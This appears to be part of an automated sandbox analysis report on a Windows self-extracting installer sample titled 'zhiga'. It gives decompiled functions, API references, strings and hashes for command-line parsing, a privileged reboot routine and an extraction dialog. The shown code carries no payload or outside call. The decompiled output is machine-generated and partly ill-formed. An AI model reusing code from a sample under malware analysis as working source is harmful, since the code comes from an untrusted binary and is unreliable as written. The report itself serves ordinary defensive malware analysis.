																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x1098a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x1098a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x1098a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x1098a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x1099a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x1099a2c =  *0x1099a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x1098d48 =  *0x1098d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x1099a2c =  *0x1099a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x1099a2c =  *0x1099a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x1098d48 =  *0x1098d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x1099a2c =  *0x1099a2c | 0x00000004;
																										L70:
																										 *0x1098a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x1099a2c = 3;
																	 *0x1098a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x1098a2c != 0 &&  *0x1098b3e == 0) {
						if(GetModuleFileNameA( *0x1099a3c, 0x1098b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E010966C8(0x1098b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x01095c9e
0x01095ca9
0x01095cb0
0x01095cb3
0x01095cb6
0x01095cb7
0x01095cb8
0x01095cbd
0x01096204
0x01095ccb
0x00000000
0x01095ccb
0x01095cd3
0x01095cd7
0x01095cf4
0x00000000
0x01095cf4
0x01095cf8
0x01095d00
0x00000000
0x01095d06
0x01095d06
0x01095d0e
0x01095d10
0x01095d12
0x01095d14
0x01095d15
0x01095d17
0x01095d49
0x00000000
0x00000000
0x00000000
0x00000000
0x01095d19
0x01095d19
0x01095d1d
0x00000000
0x01095d3f
0x01095d3f
0x01095d4b
0x01095d4b
0x01095d4f
0x01095d8d
0x00000000
0x01095d93
0x01095d93
0x01095d9a
0x01095d9d
0x01095d9e
0x00000000
0x01095d9e
0x01095d51
0x01095d5b
0x01095d72
0x010960fb
0x010960fb
0x01096207
0x0109620a
0x0109620b
0x0109620e
0x01096217
0x01095d78
0x01095d78
0x01095d80
0x01095d83
0x01095d84
0x00000000
0x01095d84
0x01095d5d
0x01095d5f
0x01095d62
0x01095d68
0x01095d64
0x01095d64
0x01095d64
0x00000000
0x01095d62
0x01095d5b
0x01095d4f
0x01095d1d
0x00000000
0x01095d9f
0x01095d9f
0x01095da5
0x01095dab
0x01095dba
0x01096218
0x0109621d
0x01096220
0x01096221
0x01096229
0x01096230
0x01096247
0x0109626a
0x01096272
0x01096249
0x01096255
0x0109625f
0x01096264
0x01096264
0x01096284
0x01095dc0
0x01095dc0
0x01095dca
0x01095e22
0x00000000
0x00000000
0x00000000
0x00000000
0x01095dcc
0x01095dce
0x01095e24
0x01095e24
0x01095e2c
0x01095e47
0x01095e4a
0x010961d2
0x010961e2
0x010961e7
0x010961ee
0x010961f1
0x010961f1
0x010961f8
0x010961f8
0x01095e50
0x01095e53
0x01096109
0x0109611f
0x00000000
0x01096125
0x01096137
0x0109613a
0x0109613c
0x0109613e
0x0109613e
0x01096141
0x01096141
0x01096143
0x01096144
0x0109614a
0x00000000
0x01096150
0x01096152
0x0109615c
0x01096170
0x01096172
0x0109617c
0x01096190
0x01096190
0x01096196
0x010961a5
0x00000000
0x010961ab
0x010961b9
0x010961c6
0x010961c6
0x0109617e
0x01096180
0x0109618a
0x00000000
0x00000000
0x00000000
0x00000000
0x0109618a
0x0109615e
0x01096160
0x0109616a
0x00000000
0x00000000
0x00000000
0x00000000
0x0109616a
0x0109615c
0x0109614a
0x0109610b
0x0109610e
0x0109610e
0x00000000
0x01095e59
0x01095e59
0x01095e5c
0x0109604f
0x01096056
0x00000000
0x0109605c
0x0109606e
0x01096071
0x01096073
0x01096075
0x01096075
0x01096078
0x01096078
0x0109607a
0x0109607b
0x01096081
0x00000000
0x01096087
0x01096087
0x0109608d
0x0109609c
0x00000000
0x010960a2
0x010960aa
0x010960b2
0x010960b7
0x010960bd
0x010960bf
0x010960bf
0x010960d6
0x010960e0
0x010960e7
0x010960f5
0x00000000
0x00000000
0x00000000
0x00000000
0x010960f5
0x0109609c
0x01096081
0x01095e62
0x01095e62
0x01095e65
0x01095fd3
0x01095fe9
0x00000000
0x01095fef
0x01095fef
0x01095ff7
0x01095ffd
0x01096003
0x01096006
0x01096011
0x01096014
0x0109603d
0x01096016
0x01096018
0x01096019
0x0109601b
0x01096033
0x0109601d
0x01096020
0x01096029
0x01096022
0x01096022
0x01096022
0x01096020
0x0109601b
0x01096042
0x01096044
0x01096046
0x0109604a
0x01095ff7
0x01095fd5
0x01095fd8
0x01095fd8
0x00000000
0x01095e6b
0x01095e6b
0x01095e6e
0x01095f8b
0x01095f99
0x00000000
0x01095f9f
0x01095fa7
0x01095faf
0x00000000
0x01095fb1
0x01095fb3
0x00000000
0x01095fb5
0x01095fb7
0x00000000
0x01095fb9
0x00000000
0x01095fb9
0x01095fb7
0x01095fb3
0x01095faf
0x01095f8d
0x01095f8d
0x01095f8d
0x01095f8f
0x01095fc1
0x01095fc1
0x01095fc1
0x00000000
0x01095e74
0x01095e74
0x01095e77
0x01095ea0
0x01095ebd
0x01095f79
0x00000000
0x01095f7f
0x01095ec3
0x01095ec3
0x01095ecc
0x01095ed4
0x01095ed6
0x01095edc
0x01095edf
0x01095eea
0x01095eed
0x01095f3f
0x01095f40
0x00000000
0x01095eef
0x01095eef
0x01095ef2
0x01095f34
0x01095ef4
0x01095ef4
0x01095ef7
0x01095f2b
0x00000000
0x01095ef9
0x01095ef9
0x01095efc
0x01095f22
0x00000000
0x01095efe
0x01095eff
0x01095f02
0x01095f16
0x01095f04
0x01095f07
0x01095f0d
0x01095f46
0x01095f46
0x01095f09
0x01095f09
0x01095f09
0x01095f07
0x01095f02
0x01095efc
0x01095ef7
0x01095ef2
0x01095f4c
0x01095f4e
0x01095f50
0x01095f54
0x01095ed4
0x01095ea2
0x01095ea4
0x01095eaf
0x01095eaf
0x00000000
0x01095e79
0x01095e7d
0x00000000
0x01095e83
0x01095e83
0x01095e83
0x01095e85
0x01095e85
0x01095e8e
0x00000000
0x01095e94
0x00000000
0x01095e94
0x01095e8e
0x01095e7d
0x01095e77
0x01095e6e
0x01095e65
0x01095e5c
0x00000000
0x00000000
0x00000000
0x01095dd0
0x01095dd0
0x01095dd0
0x00000000
0x01095dd0
0x01095dce
0x01095dca
0x01095dba
0x00000000
0x01095d00
0x01095dd9
0x01095e04
0x010961fe
0x01095e0a
0x01095e0c
0x01095e17
0x01095e17
0x01095e04
0x01096200
0x01096200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 01095CEE
GetModuleFileNameA.KERNEL32(01098B3E,00000104,00000000,?,?), ref: 01095DFC
CharUpperA.USER32(?), ref: 01095E3E
CharUpperA.USER32(-00000052), ref: 01095EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 01095F6F
CharUpperA.USER32(?), ref: 01095FA7
CharUpperA.USER32(-0000004E), ref: 01096008
CharUpperA.USER32(?), ref: 010960AA
CloseHandle.KERNEL32(00000000,01091140,00000000,00000040,00000000), ref: 010961F1
ExitProcess.KERNEL32 ref: 010961F8

Strings

RegServer, xrefs: 01095F66
:, xrefs: 01096118
", xrefs: 01095D78
", xrefs: 0109612D

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 538acd610305764a2c0f53fa1df6171693a23b637b73ad32ed2dd7fe441367f9
Instruction ID: a0de85d0c2accb2227364881e6c72a7e23e74f4504cc3c7373709b1e13642114
Opcode Fuzzy Hash: 538acd610305764a2c0f53fa1df6171693a23b637b73ad32ed2dd7fe441367f9
Instruction Fuzzy Hash: 61D17E71A042495EEF778B3E8C783FA3FF1A706354F0481DBC6D6C6195D67A8982AB40

Uniqueness

Uniqueness Score: -1.00%

Function 01091F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E01091F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x1099a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x1098004; // 0x8a9c601
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E010944B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E01096CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E010944B9(0, 0x522, 0x1091140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E01091EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x01091f90
0x01091f90
0x01091f93
0x01091f98
0x01091fa4
0x01091fa7
0x01091fc5
0x01091fcd
0x01091fdb
0x01091ee5
0x01091eea
0x01091ef1
0x01091ef4
0x01091f0c
0x01091f2e
0x01091f3a
0x01091f46
0x01091f4d
0x01091f58
0x01091f60
0x01091f61
0x01091f62
0x01091f75
0x01091f80
0x01091f77
0x01091f77
0x00000000
0x01091f77
0x01091f64
0x01091f64
0x00000000
0x01091f64
0x01091f0e
0x01091f0e
0x01091f13
0x01091f13
0x01091f14
0x01091f14
0x01091f16
0x01091f17
0x01091f1a
0x01091f1f
0x01091f1f
0x01091f86
0x01091f8f
0x01091fcf
0x01091fd3
0x00000000
0x01091fd3
0x01091fa9
0x01091fb4
0x01091fbb
0x01091fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x01091fc3
0x01091f9a
0x01091f9a
0x01091fa2
0x01091fd9
0x01091fda
0x00000000
0x00000000
0x00000000
0x01091fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 01091EFB
OpenProcessToken.ADVAPI32(00000000), ref: 01091F02
ExitWindowsEx.USER32(00000002,00000000), ref: 01091FD3

Strings

SeShutdownPrivilege, xrefs: 01091F28

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 9982898be80a59aa2750943d4136e88240118f89c7516d6ce895502c5e1e2349
Instruction ID: 7f9f84be964a01865d7f751de8b14f3f790b43a9c41c328f1218909e3f5c9e7e
Opcode Fuzzy Hash: 9982898be80a59aa2750943d4136e88240118f89c7516d6ce895502c5e1e2349
Instruction Fuzzy Hash: 9321E7B1B4020ABBDF315AA59C79FBF76B8EBC5B60F100059FA82D61C5D77A8401A361

Uniqueness

Uniqueness Score: -1.00%

Function 01096CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01096CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x01096cf7
0x01096d00
0x01096d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,01096E26,01091000), ref: 01096CF7
UnhandledExceptionFilter.KERNEL32(01096E26,?,01096E26,01091000), ref: 01096D00
GetCurrentProcess.KERNEL32(C0000409,?,01096E26,01091000), ref: 01096D0B
TerminateProcess.KERNEL32(00000000,?,01096E26,01091000), ref: 01096D12

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 7f3d20d158bfdcdf2d592b89497915707de2543b6209d3c6a602b09be30d5fd3
Instruction ID: 74ad287f58c5bc90812a61761bd8861331637dc1245e21412c7389a8d6458873
Opcode Fuzzy Hash: 7f3d20d158bfdcdf2d592b89497915707de2543b6209d3c6a602b09be30d5fd3
Instruction Fuzzy Hash: 4AD012B2200108FBDB202BF1F82CA593F28FB88392F444000F35D83014CB3B4451CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01093210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E01093210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E010943D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "zhiga");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x1099a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x10991e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E010944B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x10991e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x10991e5 - 3;
						if(_t49 - 0x10991e5 < 3) {
							goto L32;
						}
						_t24 =  *0x10991e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x10991e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E0109658A(0x10991e4, 0x104, 0x1091140);
								_t27 = E010958C8(0x10991e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x10991e4 - 0x5c;
									if( *0x10991e4 != 0x5c) {
										L30:
										_t30 = E0109597D(0x10991e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x10991e5 - 0x5c;
									if( *0x10991e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E010944B9(_t64, 0x54a, 0x10991e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x10991e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x10991e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x10991e4 - 0x5c;
						if( *0x10991e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x1099124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x1099a3c, 0x3e8, 0x1098598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E01094224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x10987a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E010944B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x0109321b
0x0109321e
0x01093221
0x0109343c
0x0109343e
0x0109343f
0x01093445
0x01093447
0x00000000
0x01093447
0x01093229
0x0109322a
0x0109322f
0x010933ec
0x010933f7
0x01093410
0x01093416
0x0109341d
0x0109342d
0x0109342d
0x01093438
0x00000000
0x01093438
0x01093237
0x01093243
0x01093243
0x01093246
0x010932ee
0x010932f4
0x010932f6
0x010933d4
0x010933d6
0x010933db
0x010933dc
0x010933de
0x010933df
0x01093370
0x01093372
0x00000000
0x01093372
0x010932fc
0x01093301
0x01093301
0x01093303
0x01093304
0x01093304
0x0109330a
0x0109330d
0x00000000
0x00000000
0x01093313
0x01093318
0x0109331a
0x01093331
0x01093332
0x0109333a
0x0109333d
0x0109337c
0x01093388
0x0109338f
0x01093394
0x01093396
0x010933a4
0x010933ab
0x010933b6
0x010933be
0x010933c3
0x010933c5
0x01093435
0x01093437
0x01093437
0x00000000
0x01093437
0x010933c7
0x010933c9
0x010933cc
0x00000000
0x010933cc
0x010933ad
0x010933b4
0x00000000
0x00000000
0x00000000
0x010933b4
0x01093398
0x01093399
0x0109339b
0x0109339c
0x0109339d
0x00000000
0x0109339d
0x0109334c
0x01093351
0x01093354
0x00000000
0x00000000
0x0109335c
0x01093362
0x01093364
0x00000000
0x00000000
0x01093366
0x01093367
0x01093369
0x0109336a
0x0109336b
0x00000000
0x0109336b
0x0109331c
0x01093323
0x00000000
0x00000000
0x01093329
0x0109332b
0x00000000
0x00000000
0x00000000
0x0109332b
0x0109324c
0x0109324c
0x0109324f
0x010932c8
0x010932ce
0x00000000
0x010932ce
0x01093251
0x01093256
0x00000000
0x00000000
0x01093271
0x01093277
0x01093279
0x01093298
0x0109329d
0x0109329f
0x00000000
0x00000000
0x010932b0
0x010932b6
0x010932b8
0x00000000
0x00000000
0x010932be
0x01093280
0x01093289
0x0109328e
0x00000000
0x0109328e
0x0109327b
0x00000000
0x0109327b
0x00000000

APIs

LoadStringA.USER32(000003E8,01098598,00000200), ref: 01093271
GetDesktopWindow.USER32 ref: 010933E2
SetWindowTextA.USER32(?,zhiga), ref: 010933F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 01093410
GetDlgItem.USER32(?,00000836), ref: 01093426
EnableWindow.USER32(00000000), ref: 0109342D
EndDialog.USER32(?,00000000), ref: 0109343F

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010932E2, 010932E7, 01093331, 01093344, 0109335B, 0109336A
zhiga, xrefs: 010933F1

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$zhiga
API String ID: 2418873061-3661535512
Opcode ID: d7253111f48baeb1cfe3fcd44e52a15993aafbb321eb4a62f3c80324a021823a
Instruction ID: a7f012a3250c858299b0afed8062bd8055a93363132639cb32992a5cac8480cc
Opcode Fuzzy Hash: d7253111f48baeb1cfe3fcd44e52a15993aafbb321eb4a62f3c80324a021823a
Instruction Fuzzy Hash: AE51E570381240B6EF725A395C7CFBF2D99BB46B54F008068F6C59A1C5DEA99801BB61

Uniqueness

Uniqueness Score: -1.00%

Function 01092CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E01092CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x1098004; // 0x8a9c601
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x1099a3c = __ecx;
				memset(0x1099140, 0, 0x8fc);
				memset(0x1098a20, 0, 0x32c);
				memset(0x10988c0, 0, 0x104);
				 *0x10993ec = 1;
				_t20 = E0109468F("TITLE", 0x1099154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x109858c = _t27;
					SetEvent(_t27);
					_t64 = 0x1099a34;
					if(E0109468F("EXTRACTOPT", 0x1099a34, 4) != 0) {
						if(( *0x1099a34 & 0x000000c0) == 0) {
							L12:
							 *0x1099120 =  *0x1099120 & _t65;
							if(E01095C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x1098a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x1098184 != 0) {
										__imp__#17();
									}
									if( *0x1098a24 == 0) {
										_t57 = _t65;
										if(E010936EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x1099a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x1099a34 & 0x00000100) == 0 || ( *0x1098a38 & 0x00000001) != 0 || E010918A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E01096517(_t57, 0x7d6, _t34, E010919E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E01092390(0x1098a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E010944B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E0109468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x1098588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x1099a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E010944B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E010944B9(0, 0x54b, "zhiga", 0, 0x10, 0);
										L11:
										CloseHandle( *0x1098588);
										 *0x1099124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E010944B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x1099124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E01096CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x01092cb5
0x01092cbc
0x01092cc7
0x01092cc9
0x01092cd1
0x01092cd3
0x01092cd9
0x01092ce9
0x01092cf9
0x01092d0e
0x01092d15
0x01092d1c
0x01092ef3
0x00000000
0x01092d2d
0x01092d34
0x01092d3b
0x01092d40
0x01092d48
0x01092d59
0x01092d84
0x01092e1f
0x01092e1f
0x01092e2e
0x01092e41
0x01092e5a
0x01092e62
0x01092e6c
0x01092e6c
0x01092e75
0x01092e77
0x01092e77
0x01092e84
0x01092e8b
0x01092e94
0x00000000
0x01092e96
0x01092e96
0x01092e9e
0x01092ea2
0x01092eba
0x00000000
0x01092ece
0x01092ede
0x01092eed
0x00000000
0x00000000
0x00000000
0x00000000
0x01092eed
0x01092eef
0x01092eef
0x01092eef
0x01092eef
0x01092ea2
0x01092e86
0x01092e88
0x01092e88
0x01092e43
0x01092e48
0x00000000
0x01092e48
0x01092e30
0x01092e30
0x01092ef8
0x01092f01
0x00000000
0x01092f01
0x01092d8a
0x01092d8f
0x01092da1
0x00000000
0x01092da3
0x01092dae
0x01092db4
0x01092dbb
0x00000000
0x01092dca
0x01092dd3
0x01092df5
0x01092e02
0x00000000
0x00000000
0x00000000
0x00000000
0x01092dd5
0x01092dde
0x01092de3
0x01092e04
0x01092e0a
0x01092e10
0x00000000
0x01092e10
0x01092dd3
0x01092dbb
0x01092da1
0x01092d5b
